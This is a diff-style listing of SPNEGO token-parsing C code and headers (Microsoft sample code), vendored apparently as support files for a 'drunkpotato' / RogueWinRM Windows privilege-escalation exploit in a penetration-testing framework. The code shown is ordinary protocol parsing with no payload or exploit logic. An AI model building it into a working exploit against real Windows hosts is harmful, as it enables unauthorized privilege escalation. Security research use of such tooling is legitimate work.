/////////////////////////////////////////////////////////////////////////////
|
||||
//
|
||||
// Function:
|
||||
// spnegoGetNegotiationResult
|
||||
//
|
||||
// Parameters:
|
||||
// [in] hSpnegoToken - Initialized SPNEGO_TOKEN_HANDLE
|
||||
// [out] pnegResult - Filled out with NegResult value.
|
||||
//
|
||||
// Returns:
|
||||
// int Success - SPNEGO_E_SUCCESS
|
||||
// Failure - SPNEGO API Error code
|
||||
//
|
||||
// Comments :
|
||||
// hSpnegoToken must reference a token of type NegTokenTarg. The
|
||||
// function will copy data from the NegResult element into the
|
||||
// location pointed to by pnegResult. Note that the function will
|
||||
// fail if the actual NegResult data appears invalid.
|
||||
//
|
||||
////////////////////////////////////////////////////////////////////////////
|
||||
|
||||
/*static int spnegoGetNegotiationResult(SPNEGO_TOKEN_HANDLE hSpnegoToken, SPNEGO_NEGRESULT* pnegResult)
|
||||
{
|
||||
int nReturn = SPNEGO_E_INVALID_PARAMETER;
|
||||
SPNEGO_TOKEN* pSpnegoToken = (SPNEGO_TOKEN*)hSpnegoToken;
|
||||
|
||||
// Check parameters
|
||||
if (IsValidSpnegoToken(pSpnegoToken) &&
|
||||
NULL != pnegResult &&
|
||||
SPNEGO_TOKEN_TARG == pSpnegoToken->ucTokenType)
|
||||
{
|
||||
|
||||
// Check if NegResult is available
|
||||
if (pSpnegoToken->aElementArray[SPNEGO_TARG_NEGRESULT_ELEMENT].iElementPresent
|
||||
== SPNEGO_TOKEN_ELEMENT_AVAILABLE)
|
||||
{
|
||||
// Must be 1 byte long and a valid value
|
||||
if (pSpnegoToken->aElementArray[SPNEGO_TARG_NEGRESULT_ELEMENT].nDatalength == SPNEGO_NEGTARG_MAXLEN_NEGRESULT &&
|
||||
IsValidNegResult(*pSpnegoToken->aElementArray[SPNEGO_TARG_NEGRESULT_ELEMENT].pbData))
|
||||
{
|
||||
*pnegResult = *pSpnegoToken->aElementArray[SPNEGO_TARG_NEGRESULT_ELEMENT].pbData;
|
||||
nReturn = SPNEGO_E_SUCCESS;
|
||||
}
|
||||
else
|
||||
{
|
||||
nReturn = SPNEGO_E_INVALID_ELEMENT;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
nReturn = SPNEGO_E_ELEMENT_UNAVAILABLE;
|
||||
}
|
||||
|
||||
} // IF parameters OK
|
||||
|
||||
return nReturn;
|
||||
}*/
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
//
|
||||
// Function:
|
||||
// spnegoGetSupportedMechType
|
||||
//
|
||||
// Parameters:
|
||||
// [in] hSpnegoToken - Initialized SPNEGO_TOKEN_HANDLE
|
||||
// [out] pMechOID - Filled out with Supported MechType value.
|
||||
//
|
||||
// Returns:
|
||||
// int Success - SPNEGO_E_SUCCESS
|
||||
// Failure - SPNEGO API Error code
|
||||
//
|
||||
// Comments :
|
||||
// hSpnegoToken must reference a token of type NegTokenTarg. The
|
||||
// function will check the Supported MechType element, and if it
|
||||
// corresponds to a supported MechType ( spnego_mech_oid_Kerberos_V5_Legacy
|
||||
// or spnego_mech_oid_Kerberos_V5 ), will set the location pointed
|
||||
// to by pMechOID equal to the appropriate value.
|
||||
//
|
||||
////////////////////////////////////////////////////////////////////////////
|
||||
|
||||
/*static int spnegoGetSupportedMechType(SPNEGO_TOKEN_HANDLE hSpnegoToken, SPNEGO_MECH_OID* pMechOID)
|
||||
{
|
||||
int nReturn = SPNEGO_E_INVALID_PARAMETER;
|
||||
int nCtr = 0L;
|
||||
unsigned short nLength = 0L;
|
||||
SPNEGO_TOKEN* pSpnegoToken = (SPNEGO_TOKEN*)hSpnegoToken;
|
||||
|
||||
// Check parameters
|
||||
if (IsValidSpnegoToken(pSpnegoToken) &&
|
||||
NULL != pMechOID &&
|
||||
SPNEGO_TOKEN_TARG == pSpnegoToken->ucTokenType)
|
||||
{
|
||||
|
||||
// Check if MechList is available
|
||||
if (pSpnegoToken->aElementArray[SPNEGO_TARG_SUPPMECH_ELEMENT].iElementPresent
|
||||
== SPNEGO_TOKEN_ELEMENT_AVAILABLE)
|
||||
{
|
||||
|
||||
for (nCtr = 0;
|
||||
nReturn != SPNEGO_E_SUCCESS &&
|
||||
g_stcMechOIDList[nCtr].eMechanismOID != spnego_mech_oid_NotUsed;
|
||||
nCtr++)
|
||||
{
|
||||
|
||||
if ((nReturn = ASNDerCheckOID(
|
||||
pSpnegoToken->aElementArray[SPNEGO_TARG_SUPPMECH_ELEMENT].pbData,
|
||||
nCtr,
|
||||
pSpnegoToken->aElementArray[SPNEGO_TARG_SUPPMECH_ELEMENT].nDatalength,
|
||||
&nLength)) == SPNEGO_E_SUCCESS)
|
||||
{
|
||||
*pMechOID = nCtr;
|
||||
}
|
||||
|
||||
} // For enum MechOIDs
|
||||
|
||||
|
||||
}
|
||||
else
|
||||
{
|
||||
nReturn = SPNEGO_E_ELEMENT_UNAVAILABLE;
|
||||
}
|
||||
|
||||
} // IF parameters OK
|
||||
|
||||
return nReturn;
|
||||
}*/
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
//
|
||||
// Function:
|
||||
// spnegoTokenGetMechToken
|
||||
//
|
||||
// Parameters:
|
||||
// [in] hSpnegoToken - Initialized SPNEGO_TOKEN_HANDLE
|
||||
// [out] pbTokenData - Buffer to copy MechToken into
|
||||
// [in/out] pulDataLen - Length of pbTokenData buffer, filled out
|
||||
// with actual size used upon function return.
|
||||
//
|
||||
// Returns:
|
||||
// int Success - SPNEGO_E_SUCCESS
|
||||
// Failure - SPNEGO API Error code
|
||||
//
|
||||
// Comments :
|
||||
// hSpnegoToken can point to either NegTokenInit or a NegTokenTarg token.
|
||||
// The function will copy the MechToken (the initial MechToken if
|
||||
// NegTokenInit, the response MechToken if NegTokenTarg) from the
|
||||
// underlying token into the buffer pointed to by pbTokenData. If
|
||||
// pbTokenData is NULL, or the value in pulDataLen is too small, the
|
||||
// function will return SPNEGO_E_BUFFER_TOO_SMALL and fill out pulDataLen
|
||||
// with the minimum required buffer size. The token can then be passed
|
||||
// to a GSS-API function for processing.
|
||||
//
|
||||
////////////////////////////////////////////////////////////////////////////
|
||||
|
||||
int spnegoGetMechToken(SPNEGO_TOKEN_HANDLE hSpnegoToken, unsigned char* pbTokenData, unsigned short* pulDataLen)
|
||||
{
|
||||
int nReturn = SPNEGO_E_INVALID_PARAMETER;
|
||||
SPNEGO_TOKEN* pSpnegoToken = (SPNEGO_TOKEN*)hSpnegoToken;
|
||||
SPNEGO_ELEMENT* pSpnegoElement = NULL;
|
||||
|
||||
// Check parameters
|
||||
if (IsValidSpnegoToken(pSpnegoToken) &&
|
||||
NULL != pulDataLen)
|
||||
{
|
||||
// Point at the proper Element
|
||||
if (SPNEGO_TOKEN_INIT == pSpnegoToken->ucTokenType)
|
||||
{
|
||||
pSpnegoElement = &pSpnegoToken->aElementArray[SPNEGO_INIT_MECHTOKEN_ELEMENT];
|
||||
}
|
||||
else
|
||||
{
|
||||
pSpnegoElement = &pSpnegoToken->aElementArray[SPNEGO_TARG_RESPTOKEN_ELEMENT];
|
||||
}
|
||||
|
||||
// Check if MechType is available
|
||||
if (SPNEGO_TOKEN_ELEMENT_AVAILABLE == pSpnegoElement->iElementPresent)
|
||||
{
|
||||
// Check for Buffer too small conditions
|
||||
if (NULL == pbTokenData ||
|
||||
pSpnegoElement->nDatalength > * pulDataLen)
|
||||
{
|
||||
*pulDataLen = pSpnegoElement->nDatalength;
|
||||
nReturn = SPNEGO_E_BUFFER_TOO_SMALL;
|
||||
}
|
||||
else
|
||||
{
|
||||
// Copy Memory
|
||||
memcpy(pbTokenData, pSpnegoElement->pbData, pSpnegoElement->nDatalength);
|
||||
*pulDataLen = pSpnegoElement->nDatalength;
|
||||
nReturn = SPNEGO_E_SUCCESS;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
nReturn = SPNEGO_E_ELEMENT_UNAVAILABLE;
|
||||
}
|
||||
|
||||
} // IF parameters OK
|
||||
|
||||
return nReturn;
|
||||
}
|
||||
|
||||
/////////////////////////////////////////////////////////////////////////////
|
||||
//
|
||||
// Function:
|
||||
// spnegoTokenGetMechListMIC
|
||||
//
|
||||
// Parameters:
|
||||
// [in] hSpnegoToken - Initialized SPNEGO_TOKEN_HANDLE
|
||||
// [out] pbTokenData - Buffer to copy MechListMIC data into
|
||||
// [in/out] pulDataLen - Length of pbTokenData buffer, filled out
|
||||
// with actual size used upon function return.
|
||||
//
|
||||
// Returns:
|
||||
// int Success - SPNEGO_E_SUCCESS
|
||||
// Failure - SPNEGO API Error code
|
||||
//
|
||||
// Comments :
|
||||
// hSpnegoToken can point to either NegTokenInit or a NegTokenTarg token.
|
||||
// The function will copy the MechListMIC data from the underlying token
|
||||
// into the buffer pointed to by pbTokenData. If pbTokenData is NULL,
|
||||
// or the value in pulDataLen is too small, the function will return
|
||||
// SPNEGO_E_BUFFER_TOO_SMALL and fill out pulDataLen with the minimum
|
||||
// required buffer size.
|
||||
//
|
||||
////////////////////////////////////////////////////////////////////////////
|
||||
|
||||
/*static int spnegoGetMechListMIC(SPNEGO_TOKEN_HANDLE hSpnegoToken, unsigned char* pbMICData, unsigned short* pulDataLen)
|
||||
{
|
||||
int nReturn = SPNEGO_E_INVALID_PARAMETER;
|
||||
SPNEGO_TOKEN* pSpnegoToken = (SPNEGO_TOKEN*)hSpnegoToken;
|
||||
SPNEGO_ELEMENT* pSpnegoElement = NULL;
|
||||
|
||||
// Check parameters
|
||||
if (IsValidSpnegoToken(pSpnegoToken) &&
|
||||
NULL != pulDataLen)
|
||||
{
|
||||
|
||||
// Point at the proper Element
|
||||
if (SPNEGO_TOKEN_INIT == pSpnegoToken->ucTokenType)
|
||||
{
|
||||
pSpnegoElement = &pSpnegoToken->aElementArray[SPNEGO_INIT_MECHLISTMIC_ELEMENT];
|
||||
}
|
||||
else
|
||||
{
|
||||
pSpnegoElement = &pSpnegoToken->aElementArray[SPNEGO_TARG_MECHLISTMIC_ELEMENT];
|
||||
}
|
||||
|
||||
// Check if MechType is available
|
||||
if (SPNEGO_TOKEN_ELEMENT_AVAILABLE == pSpnegoElement->iElementPresent)
|
||||
{
|
||||
// Check for Buffer too small conditions
|
||||
if (NULL == pbMICData ||
|
||||
pSpnegoElement->nDatalength > * pulDataLen)
|
||||
{
|
||||
*pulDataLen = pSpnegoElement->nDatalength;
|
||||
nReturn = SPNEGO_E_BUFFER_TOO_SMALL;
|
||||
}
|
||||
else
|
||||
{
|
||||
// Copy Memory
|
||||
memcpy(pbMICData, pSpnegoElement->pbData, pSpnegoElement->nDatalength);
|
||||
*pulDataLen = pSpnegoElement->nDatalength;
|
||||
nReturn = SPNEGO_E_SUCCESS;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
nReturn = SPNEGO_E_ELEMENT_UNAVAILABLE;
|
||||
}
|
||||
|
||||
} // IF parameters OK
|
||||
|
||||
return nReturn;
|
||||
}*/
|
242
external/source/exploits/drunkpotato/Common_Src_Files/spnegotokenhandler/spnego.h
vendored
Normal file
242
external/source/exploits/drunkpotato/Common_Src_Files/spnegotokenhandler/spnego.h
vendored
Normal file
@ -0,0 +1,242 @@
|
||||
// Copyright (C) 2002 Microsoft Corporation
|
||||
// All rights reserved.
|
||||
//
|
||||
// THIS CODE AND INFORMATION IS PROVIDED "AS IS"
|
||||
// WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
|
||||
// OR IMPLIED, INCLUDING BUT NOT LIMITED
|
||||
// TO THE IMPLIED WARRANTIES OF MERCHANTIBILITY
|
||||
// AND/OR FITNESS FOR A PARTICULAR PURPOSE.
|
||||
//
|
||||
// Date - 10/08/2002
|
||||
// Author - Sanj Surati
|
||||
|
||||
/////////////////////////////////////////////////////////////
|
||||
//
|
||||
// SPNEGO.H
|
||||
//
|
||||
// SPNEGO Token Handler Header File
|
||||
//
|
||||
// Contains the definitions required to interpret and create
|
||||
// SPNEGO tokens so that Kerberos GSS tokens can be
|
||||
// Unpackaged/packaged.
|
||||
//
|
||||
/////////////////////////////////////////////////////////////
|
||||
|
||||
#ifndef __SPNEGO_H__
|
||||
#define __SPNEGO_H__
|
||||
|
||||
// C++ Specific
|
||||
#if defined(__cplusplus)
|
||||
extern "C"
|
||||
{
|
||||
#endif
|
||||
|
||||
// Type Definitions
|
||||
|
||||
//
|
||||
// Users of SPNEGO Token Handler API will request
|
||||
// these as well as free them,
|
||||
//
|
||||
typedef void* SPNEGO_TOKEN_HANDLE;
|
||||
|
||||
//
|
||||
// Defines the element types that are found
|
||||
// in each of the tokens.
|
||||
//
|
||||
|
||||
typedef enum spnego_element_type
|
||||
{
|
||||
spnego_element_min, // Lower bound
|
||||
|
||||
// Init token elements
|
||||
spnego_init_mechtypes,
|
||||
spnego_init_reqFlags,
|
||||
spnego_init_mechToken,
|
||||
spnego_init_mechListMIC,
|
||||
|
||||
// Targ token elements
|
||||
spnego_targ_negResult,
|
||||
spnego_targ_supportedMech,
|
||||
spnego_targ_responseToken,
|
||||
spnego_targ_mechListMIC,
|
||||
|
||||
spnego_element_max // Upper bound
|
||||
|
||||
} SPNEGO_ELEMENT_TYPE;
|
||||
|
||||
//
|
||||
// Token Element Availability. Elements in both
|
||||
// token types are optional. Since there are only
|
||||
// 4 elements in each Token, we will allocate space
|
||||
// to hold the information, but we need a way to
|
||||
// indicate whether or not an element is available
|
||||
//
|
||||
|
||||
#define SPNEGO_TOKEN_ELEMENT_UNAVAILABLE 0
|
||||
#define SPNEGO_TOKEN_ELEMENT_AVAILABLE 1
|
||||
|
||||
//
|
||||
// Token type values. SPNEGO has 2 token types:
|
||||
// NegTokenInit and NegTokenTarg
|
||||
//
|
||||
|
||||
#define SPNEGO_TOKEN_INIT 0
|
||||
#define SPNEGO_TOKEN_TARG 1
|
||||
|
||||
//
|
||||
// GSS Mechanism OID enumeration. We only really handle
|
||||
// 3 different OIDs. These are stored in an array structure
|
||||
// defined in the parsing code.
|
||||
//
|
||||
|
||||
typedef enum spnego_mech_oid
|
||||
{
|
||||
// Init token elements
|
||||
spnego_mech_oid_Kerberos_V5_Legacy, // Really V5, but OID off by 1 bit
|
||||
spnego_mech_oid_Kerberos_V5,
|
||||
spnego_mech_oid_Spnego,
|
||||
spnego_mech_oid_NTLMSSP,
|
||||
spnego_mech_oid_NotUsed = -1
|
||||
|
||||
} SPNEGO_MECH_OID;
|
||||
|
||||
//
|
||||
// Defines the negResult values.
|
||||
//
|
||||
|
||||
typedef enum spnego_negResult
|
||||
{
|
||||
spnego_negresult_success,
|
||||
spnego_negresult_incomplete,
|
||||
spnego_negresult_rejected,
|
||||
spnego_negresult_NotUsed = -1
|
||||
} SPNEGO_NEGRESULT;
|
||||
|
||||
//
|
||||
// Context Flags in NegTokenInit
|
||||
//
|
||||
|
||||
//
|
||||
// ContextFlags values MUST be zero or a combination
|
||||
// of the below
|
||||
//
|
||||
|
||||
#define SPNEGO_NEGINIT_CONTEXT_DELEG_FLAG 0x80
|
||||
#define SPNEGO_NEGINIT_CONTEXT_MUTUAL_FLAG 0x40
|
||||
#define SPNEGO_NEGINIT_CONTEXT_REPLAY_FLAG 0x20
|
||||
#define SPNEGO_NEGINIT_CONTEXT_SEQUENCE_FLAG 0x10
|
||||
#define SPNEGO_NEGINIT_CONTEXT_ANON_FLAG 0x8
|
||||
#define SPNEGO_NEGINIT_CONTEXT_CONF_FLAG 0x4
|
||||
#define SPNEGO_NEGINIT_CONTEXT_INTEG_FLAG 0x2
|
||||
|
||||
//
|
||||
// Mask to retrieve valid values.
|
||||
//
|
||||
|
||||
#define SPNEGO_NEGINIT_CONTEXT_MASK 0xFE // Logical combination of above flags
|
||||
|
||||
//
|
||||
// SPNEGO API return codes.
|
||||
//
|
||||
|
||||
// API function was successful
|
||||
#define SPNEGO_E_SUCCESS 0
|
||||
|
||||
// The supplied Token was invalid
|
||||
#define SPNEGO_E_INVALID_TOKEN -1
|
||||
|
||||
// An invalid length was encountered
|
||||
#define SPNEGO_E_INVALID_LENGTH -2
|
||||
|
||||
// The Token Parse failed
|
||||
#define SPNEGO_E_PARSE_FAILED -3
|
||||
|
||||
// The requested value was not found
|
||||
#define SPNEGO_E_NOT_FOUND -4
|
||||
|
||||
// The requested element is not available
|
||||
#define SPNEGO_E_ELEMENT_UNAVAILABLE -5
|
||||
|
||||
// Out of Memory
|
||||
#define SPNEGO_E_OUT_OF_MEMORY -6
|
||||
|
||||
// Not Implemented
|
||||
#define SPNEGO_E_NOT_IMPLEMENTED -7
|
||||
|
||||
// Invalid Parameter
|
||||
#define SPNEGO_E_INVALID_PARAMETER -8
|
||||
|
||||
// Token Handler encountered an unexpected OID
|
||||
#define SPNEGO_E_UNEXPECTED_OID -9
|
||||
|
||||
// The requested token was not found
|
||||
#define SPNEGO_E_TOKEN_NOT_FOUND -10
|
||||
|
||||
// An unexpected type was encountered in the encoding
|
||||
#define SPNEGO_E_UNEXPECTED_TYPE -11
|
||||
|
||||
// The buffer was too small
|
||||
#define SPNEGO_E_BUFFER_TOO_SMALL -12
|
||||
|
||||
// A Token Element was invalid (e.g. improper length or value)
|
||||
#define SPNEGO_E_INVALID_ELEMENT -13
|
||||
|
||||
/* Miscelaneous API Functions */
|
||||
|
||||
// Frees opaque data
|
||||
void spnegoFreeData(SPNEGO_TOKEN_HANDLE hSpnegoToken);
|
||||
|
||||
// Initializes SPNEGO_TOKEN structure from DER encoded binary data
|
||||
int spnegoInitFromBinary(unsigned char* pbTokenData, unsigned short ulLength, SPNEGO_TOKEN_HANDLE* phSpnegoToken);
|
||||
|
||||
// Initializes SPNEGO_TOKEN structure for a NegTokenInit type using the
|
||||
// supplied parameters
|
||||
/*static int spnegoCreateNegTokenInit(SPNEGO_MECH_OID MechType,
|
||||
unsigned char ucContextFlags, unsigned char* pbMechToken,
|
||||
unsigned short ulMechTokenLen, unsigned char* pbMechTokenMIC,
|
||||
unsigned short ulMechTokenMIC, SPNEGO_TOKEN_HANDLE* phSpnegoToken);*/
|
||||
|
||||
// Initializes SPNEGO_TOKEN structure for a NegTokenTarg type using the
|
||||
// supplied parameters
|
||||
int spnegoCreateNegTokenTarg(SPNEGO_MECH_OID MechType,
|
||||
SPNEGO_NEGRESULT spnegoNegResult, unsigned char* pbMechToken,
|
||||
unsigned short ulMechTokenLen, unsigned char* pbMechListMIC,
|
||||
unsigned short ulMechListMICLen, SPNEGO_TOKEN_HANDLE* phSpnegoToken);
|
||||
|
||||
// Copies binary representation of SPNEGO Data into user supplied buffer
|
||||
int spnegoTokenGetBinary(SPNEGO_TOKEN_HANDLE hSpnegoToken, unsigned char* pbTokenData,
|
||||
unsigned short* pulDataLen);
|
||||
|
||||
// Returns SPNEGO Token Type
|
||||
//static int spnegoGetTokenType(SPNEGO_TOKEN_HANDLE hSpnegoToken, int* piTokenType);
|
||||
|
||||
/* Reading an Init Token */
|
||||
|
||||
// Returns the Initial Mech Type in the MechList element in the NegInitToken.
|
||||
//static int spnegoIsMechTypeAvailable(SPNEGO_TOKEN_HANDLE hSpnegoToken, SPNEGO_MECH_OID MechOID, int* piMechTypeIndex);
|
||||
|
||||
// Returns the value from the context flags element in the NegInitToken as an unsigned long
|
||||
//static int spnegoGetContextFlags(SPNEGO_TOKEN_HANDLE hSpnegoToken, unsigned char* pucContextFlags);
|
||||
|
||||
/* Reading a Response Token */
|
||||
|
||||
// Returns the value from the negResult element (Status code of GSS call - 0,1,2)
|
||||
//static int spnegoGetNegotiationResult(SPNEGO_TOKEN_HANDLE hSpnegoToken, SPNEGO_NEGRESULT* pnegResult);
|
||||
|
||||
// Returns the Supported Mech Type from the NegTokenTarg.
|
||||
//static int spnegoGetSupportedMechType(SPNEGO_TOKEN_HANDLE hSpnegoToken, SPNEGO_MECH_OID* pMechOID);
|
||||
|
||||
/* Reading either Token Type */
|
||||
|
||||
// Returns the actual Mechanism data from the token (this is what is passed into GSS-API functions
|
||||
int spnegoGetMechToken(SPNEGO_TOKEN_HANDLE hSpnegoToken, unsigned char* pbTokenData, unsigned short* pulDataLen);
|
||||
|
||||
// Returns the Message Integrity BLOB in the token
|
||||
//static int spnegoGetMechListMIC(SPNEGO_TOKEN_HANDLE hSpnegoToken, unsigned char* pbMICData, unsigned short* pulDataLen);
|
||||
|
||||
// C++ Specific
|
||||
#if defined(__cplusplus)
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif
|
1866
external/source/exploits/drunkpotato/Common_Src_Files/spnegotokenhandler/spnegoparse.c
vendored
Normal file
1866
external/source/exploits/drunkpotato/Common_Src_Files/spnegotokenhandler/spnegoparse.c
vendored
Normal file
File diff suppressed because it is too large
Load Diff
165
external/source/exploits/drunkpotato/Common_Src_Files/spnegotokenhandler/spnegoparse.h
vendored
Normal file
165
external/source/exploits/drunkpotato/Common_Src_Files/spnegotokenhandler/spnegoparse.h
vendored
Normal file
@ -0,0 +1,165 @@
|
||||
// Copyright (C) 2002 Microsoft Corporation
|
||||
// All rights reserved.
|
||||
//
|
||||
// THIS CODE AND INFORMATION IS PROVIDED "AS IS"
|
||||
// WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
|
||||
// OR IMPLIED, INCLUDING BUT NOT LIMITED
|
||||
// TO THE IMPLIED WARRANTIES OF MERCHANTIBILITY
|
||||
// AND/OR FITNESS FOR A PARTICULAR PURPOSE.
|
||||
//
|
||||
// Date - 10/08/2002
|
||||
// Author - Sanj Surati
|
||||
|
||||
/////////////////////////////////////////////////////////////
|
||||
//
|
||||
// SPNEGOPARSE.H
|
||||
//
|
||||
// SPNEGO Token Parser Header File
|
||||
//
|
||||
// Contains the definitions required to properly parse a
|
||||
// SPNEGO token using ASN.1 DER helpers.
|
||||
//
|
||||
/////////////////////////////////////////////////////////////
|
||||
|
||||
#ifndef __SPNEGOPARSE_H__
|
||||
#define __SPNEGOPARSE_H__
|
||||
|
||||
// C++ Specific
|
||||
#if defined(__cplusplus)
|
||||
extern "C"
|
||||
{
|
||||
#endif
|
||||
|
||||
// Indicates if we copy data when creating a SPNEGO_TOKEN structure or not
|
||||
#define SPNEGO_TOKEN_INTERNAL_COPYPTR 0
|
||||
#define SPNEGO_TOKEN_INTERNAL_COPYDATA 0x1
|
||||
|
||||
// Internal flag dictates whether or not we will free the binary data when
|
||||
// the SPNEG_TOKEN structure is destroyed
|
||||
#define SPNEGO_TOKEN_INTERNAL_FLAGS_FREEDATA 0x1
|
||||
|
||||
//
|
||||
// Each SPNEGO Token Type can be broken down into a
|
||||
// maximum of 4 separate elements.
|
||||
//
|
||||
|
||||
#define MAX_NUM_TOKEN_ELEMENTS 4
|
||||
|
||||
//
|
||||
// Element offsets in the array
|
||||
//
|
||||
|
||||
// INIT elements
|
||||
#define SPNEGO_INIT_MECHTYPES_ELEMENT 0
|
||||
#define SPNEGO_INIT_REQFLAGS_ELEMENT 1
|
||||
#define SPNEGO_INIT_MECHTOKEN_ELEMENT 2
|
||||
#define SPNEGO_INIT_MECHLISTMIC_ELEMENT 3
|
||||
|
||||
// Response elements
|
||||
#define SPNEGO_TARG_NEGRESULT_ELEMENT 0
|
||||
#define SPNEGO_TARG_SUPPMECH_ELEMENT 1
|
||||
#define SPNEGO_TARG_RESPTOKEN_ELEMENT 2
|
||||
#define SPNEGO_TARG_MECHLISTMIC_ELEMENT 3
|
||||
|
||||
//
|
||||
// Defines an individual SPNEGO Token Element.
|
||||
//
|
||||
|
||||
typedef struct SpnegoElement
|
||||
{
|
||||
size_t nStructSize; // Size of the element structure
|
||||
int iElementPresent; // Is the field present? Must be either
|
||||
// SPNEGO_TOKEN_ELEMENT_UNAVAILABLE or
|
||||
// SPNEGO_TOKEN_ELEMENT_AVAILABLE
|
||||
|
||||
SPNEGO_ELEMENT_TYPE eElementType; // The Element Type
|
||||
|
||||
unsigned char type; // Data Type
|
||||
unsigned char* pbData; // Points to actual Data
|
||||
unsigned short nDatalength; // Actual Data Length
|
||||
|
||||
} SPNEGO_ELEMENT;
|
||||
|
||||
// Structure size in case we later choose to extend the structure
|
||||
#define SPNEGO_ELEMENT_SIZE sizeof(SPNEGO_ELEMENT)
|
||||
|
||||
//
|
||||
// Packages a SPNEGO Token Encoding. There are two types of
|
||||
// encodings: NegTokenInit and NegTokenTarg. Each encoding can
|
||||
// contain up to four distinct, optional elements.
|
||||
//
|
||||
|
||||
typedef struct SpnegoToken
|
||||
{
|
||||
size_t nStructSize; // Size of the Token structure
|
||||
unsigned long ulFlags; // Internal Structure Flags - Reserved!
|
||||
int ucTokenType; // Token Type - Must be
|
||||
// SPNEGO_TOKEN_INIT or
|
||||
// SPNEGO_TOKEN_TARG
|
||||
|
||||
unsigned char* pbBinaryData; // Points to binary token data
|
||||
unsigned short ulBinaryDataLen; // Length of the actual binary data
|
||||
int nNumElements; // Number of elements
|
||||
SPNEGO_ELEMENT aElementArray[MAX_NUM_TOKEN_ELEMENTS]; // Holds the elements for the token
|
||||
} SPNEGO_TOKEN;
|
||||
|
||||
// Structure size in case we later choose to extend the structure
|
||||
#define SPNEGO_TOKEN_SIZE sizeof(SPNEGO_TOKEN)
|
||||
|
||||
//
|
||||
// Function definitions
|
||||
//
|
||||
|
||||
static SPNEGO_TOKEN* AllocEmptySpnegoToken(unsigned char ucCopyData, unsigned long ulFlags,
|
||||
unsigned char* pbTokenData, unsigned short ulTokenSize);
|
||||
void FreeSpnegoToken(SPNEGO_TOKEN* pSpnegoToken);
|
||||
static void InitSpnegoTokenElementArray(SPNEGO_TOKEN* pSpnegoToken);
|
||||
static int InitSpnegoTokenType(SPNEGO_TOKEN* pSpnegoToken, unsigned short* pnTokenLength,
|
||||
unsigned short* pnRemainingTokenLength, unsigned char** ppbFirstElement);
|
||||
static int InitSpnegoTokenElements(SPNEGO_TOKEN* pSpnegoToken, unsigned char* pbTokenData,
|
||||
unsigned short nRemainingTokenLength);
|
||||
static int GetSpnegoInitTokenMechList(unsigned char* pbTokenData, unsigned short nMechListLength,
|
||||
SPNEGO_ELEMENT* pSpnegoElement);
|
||||
static int InitSpnegoTokenElementFromBasicType(unsigned char* pbTokenData, unsigned short nElementLength,
|
||||
unsigned char ucExpectedType,
|
||||
SPNEGO_ELEMENT_TYPE spnegoElementType,
|
||||
SPNEGO_ELEMENT* pSpnegoElement);
|
||||
static int InitSpnegoTokenElementFromOID(unsigned char* pbTokenData, unsigned short nElementLength,
|
||||
SPNEGO_ELEMENT_TYPE spnegoElementType,
|
||||
SPNEGO_ELEMENT* pSpnegoElement);
|
||||
int FindMechOIDInMechList(SPNEGO_ELEMENT* pSpnegoElement, SPNEGO_MECH_OID MechOID,
|
||||
int* piMechTypeIndex);
|
||||
static int ValidateMechList(unsigned char* pbMechListData, unsigned short nBoundaryLength);
|
||||
int CalculateMinSpnegoInitTokenSize(unsigned short nMechTokenLength, unsigned short nMechListMICLength,
|
||||
SPNEGO_MECH_OID mechOid, int nReqFlagsAvailable,
|
||||
unsigned short* plTokenSize, unsigned short* plInternalLength);
|
||||
int CalculateMinSpnegoTargTokenSize(SPNEGO_MECH_OID MechType, SPNEGO_NEGRESULT spnegoNegResult,
|
||||
unsigned short nMechTokenLen,
|
||||
unsigned short nMechTokenMIC, unsigned short* pnTokenSize,
|
||||
unsigned short* pnInternalTokenLength);
|
||||
int CreateSpnegoInitToken(SPNEGO_MECH_OID MechType,
|
||||
unsigned char ucContextFlags, unsigned char* pbMechToken,
|
||||
unsigned short ulMechTokenLen, unsigned char* pbMechListMIC,
|
||||
unsigned short ulMechListMICLen, unsigned char* pbTokenData,
|
||||
unsigned short nTokenLength, unsigned short nInternalTokenLength);
|
||||
int CreateSpnegoTargToken(SPNEGO_MECH_OID MechType,
|
||||
SPNEGO_NEGRESULT eNegResult, unsigned char* pbMechToken,
|
||||
unsigned short ulMechTokenLen, unsigned char* pbMechListMIC,
|
||||
unsigned short ulMechListMICLen, unsigned char* pbTokenData,
|
||||
unsigned short nTokenLength, unsigned short nInternalTokenLength);
|
||||
int IsValidMechOid(SPNEGO_MECH_OID mechOid);
|
||||
int IsValidContextFlags(unsigned char ucContextFlags);
|
||||
int IsValidNegResult(SPNEGO_NEGRESULT negResult);
|
||||
int IsValidSpnegoToken(SPNEGO_TOKEN* pSpnegoToken);
|
||||
//int IsValidSpnegoElement(SPNEGO_TOKEN* pSpnegoToken, SPNEGO_ELEMENT_TYPE spnegoElement);
|
||||
//int CalculateElementArrayIndex(SPNEGO_TOKEN* pSpnegoToken, SPNEGO_ELEMENT_TYPE spnegoElement);
|
||||
int InitTokenFromBinary(unsigned char ucCopyData, unsigned long ulFlags,
|
||||
unsigned char* pbTokenData, unsigned short ulLength,
|
||||
SPNEGO_TOKEN** ppSpnegoToken);
|
||||
|
||||
// C++ Specific
|
||||
#if defined(__cplusplus)
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif
|
204
external/source/exploits/drunkpotato/RogueWinRM dll/RogueWinRM dll.vcxproj
vendored
Normal file
204
external/source/exploits/drunkpotato/RogueWinRM dll/RogueWinRM dll.vcxproj
vendored
Normal file
@ -0,0 +1,204 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
<ItemGroup Label="ProjectConfigurations">
|
||||
<ProjectConfiguration Include="Debug|Win32">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Release|Win32">
|
||||
<Configuration>Release</Configuration>
|
||||
<Platform>Win32</Platform>
|
||||
</ProjectConfiguration>
|
||||
<ProjectConfiguration Include="Debug|x64">
|
||||
<Configuration>Debug</Configuration>
|
||||
<Platform>x64</Platform>
|
||||
</ProjectConfiguration>
|
||||
